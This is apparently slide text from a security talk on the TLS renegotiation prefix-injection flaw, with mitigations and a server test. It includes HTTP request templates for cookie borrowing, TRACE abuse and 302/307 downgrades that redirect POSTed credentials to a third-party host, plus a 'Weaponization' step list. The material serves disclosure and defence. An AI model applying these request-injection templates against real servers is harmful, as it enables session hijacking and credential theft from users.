Flavors of Renegotiation Client-Initiated – Initially meant for reseeding of cryptographic systems in case of entropy loss. – Rare, but used. (TOR) – Was enabled by default in most implementations. Except IIS which didn’t implement part of the specification. Server-Initiated – Supported by both IIS & Apache – Used for sites with client certificate authentication.
The Attack MITM EVIL cryptotext 1)MITM Intercept initial ClientHello & holds it. 2)MITM Connects normally to the target & transmits evil bits. 3)MITM Replays the initial ClientHello from victim. 4)Client just senses a little bit of lag and continues to connect to the server. 5)Client sends its nice bits. 6)Server assembles message and sees evil bits followed by nice bits as though they came from the Client.
Why HTTP is Perfect GET / HTTP/1.1 Host: yourbank.com Connection: Keep-Alive …. X-SomeProtocolExtension: Anything \r\n \r\n
Why HTTP is Perfect X-CommentOut: GET / HTTP/1.1 Host: yourbank.com Connection: Keep-Alive …. X-SomeProtocolExtension: Anything \r\n \r\n
Why HTTP is Perfect GET /Evil.html HTTP/1.1 X-CommentOut: GET / HTTP/1.1 Host: yourbank.com Connection: Keep-Alive …. X-SomeProtocolExtension: Anything \r\n \r\n
Attacks! Red = Evil Bits Black = Nice bits Green = Response
Not RESTful? Cookie borrowing! GET /twoot?msg=omglol HTTP/1.1 X-Anything: GET / HTTP/1.1 Site: www.twooter.com Cookie: leetsession=12387131731837183121 HTTP/1.1 200 OK …..
TRACE enabled? Code Execution! TRACE / HTTP/1.1 X-Anything: GET / HTTP/1.1 Site: www.yourbank.com HTTP/1.1 200 OK Connection: close Content-Length: xxxx TRACE / HTTP/1.1 X-Anything: GET / HTTP/1.1 Site: www.yourbank.com
Found 302 to HTTP? Downgrade Channel! GET /Some302Resource HTTP/1.1 X‐Ignore: GET / HTTP/1.1 Host: yourbank.com 302 OK HTTP/1.1 Location: http://www.somewhereelse.com/ (Perform traditional MITM attack / SSLStrip)
Found 302 to HTTP on a VHost? Downgrade Channel… Again! GET /Some302Resource HTTP/1.1 Host: www.virtualhost2.com X‐Ignore: GET /clientsoriginalrequest HTTP/1.1 Host: yourbank.com 302 OK HTTP/1.1 Location: http://www.somewhereelse.com/ (Perform traditional MITM attack / SSLStrip)
Found 307 to HTTP? Steal POSTed Data! POST /Some307Resource HTTP/1.1 X‐Ignore: POST /ProcessLogin HTTP/1.1 Host: Bank.com Content‐Length: 100 username=joebanker&password=secretpassw0rd 307 OK HTTP/1.1 Location: http://www.bobsblog.com/PostComment POST /PostComment HTTP/1.1 Host: bobsblog.com Content‐Length: 100 username=joebanker&password=secretpassw0rd \r\n\r\n HEY! HTTP Cleartext on new socket!
Weaponization 1. Get MITM 2. Hold on to the ClientHello 3. Spider hosts for 302s -> HTTP and repeat for VHosts ( bing.com/search?q=ip:xxx.xxx.xxx.xxx to get domains) 4. Perform 302 attack to downgrade to HTTP. 5. Perform SSL Strip on original domain – This bug removes the sslstrip limitation of user initially going to http://bank.com instead of httpS://bank.comhttp://bank.comhttpS://bank.com
Ideal Secure Scenario Server asks for certificate immediately! C S Client provides certificate during negotiation. Everything is OK & not vulnerable!
The Problem: The Real World Most web servers are multi-homed: – /index.html anyone can access. – /secure/index.html requires client-cert. Or mis-configured to not ask for a client certificate immediately. (Default on IIS)
Normal negotiation as seen before. Client request a “secure” resource. Server initiates renegotiation. Server asks for the client certificate. Client provides its certificate. Server processes the request & responds.
MITM Intercept initial ClientHello & performs its own negotiation with the server. MITM transmits evil bits. Server holds on to evil request & initiates renegotiation. MITM Replays the initial ClientHello from victim. Server asks for the client cert. Client happily provides the cert. Server processes the queued request.
Mitigations Upgrade! Its fixed! (rfc5746) – http://tinyurl.com/sslpatchedlist http://tinyurl.com/sslpatchedlist – OpenSSL 0.9.8m+ – MS10-049 Disable client-initiated renegotiation altogether. You don’t need it. (Really) If using client-certs make sure the root is protected & server asks for the certificate immediately.
Test it yourself! (client-initiated renegotiation) Windows tool & whitepaper at: – http://leviathansecurity.com/research/ http://leviathansecurity.com/research/ If you have openssl prior to 0.9.8m: – openssl s_client –host www.yoursite.com –port 443 – Type capitol “R” and hit return. If you see it successfully renegotiate the server does allow insecure renegotiation. Check to make sure you are patched and disable insecure renegotiation if you can.
Questions? @sirus on Twitter firstname.lastname@example.org http://www.phonefactor.com/sslgap http://tinyurl.com/sslpatchedlist http://leviathansecurity.com/research/ Thanks to Steve Dispensa, Marsh Ray, & Nasko Oskov Image credits: http://laurachappell.blogspot.com/2009/11/ssltls-flawed-using-wireshark-to.html https://www.phonefactor.com/sslgapdocs/Renegotiating_TLS_pd.pdf http://laurachappell.blogspot.com/2009/11/ssltls-flawed-using-wireshark-to.html https://www.phonefactor.com/sslgapdocs/Renegotiating_TLS_pd.pdf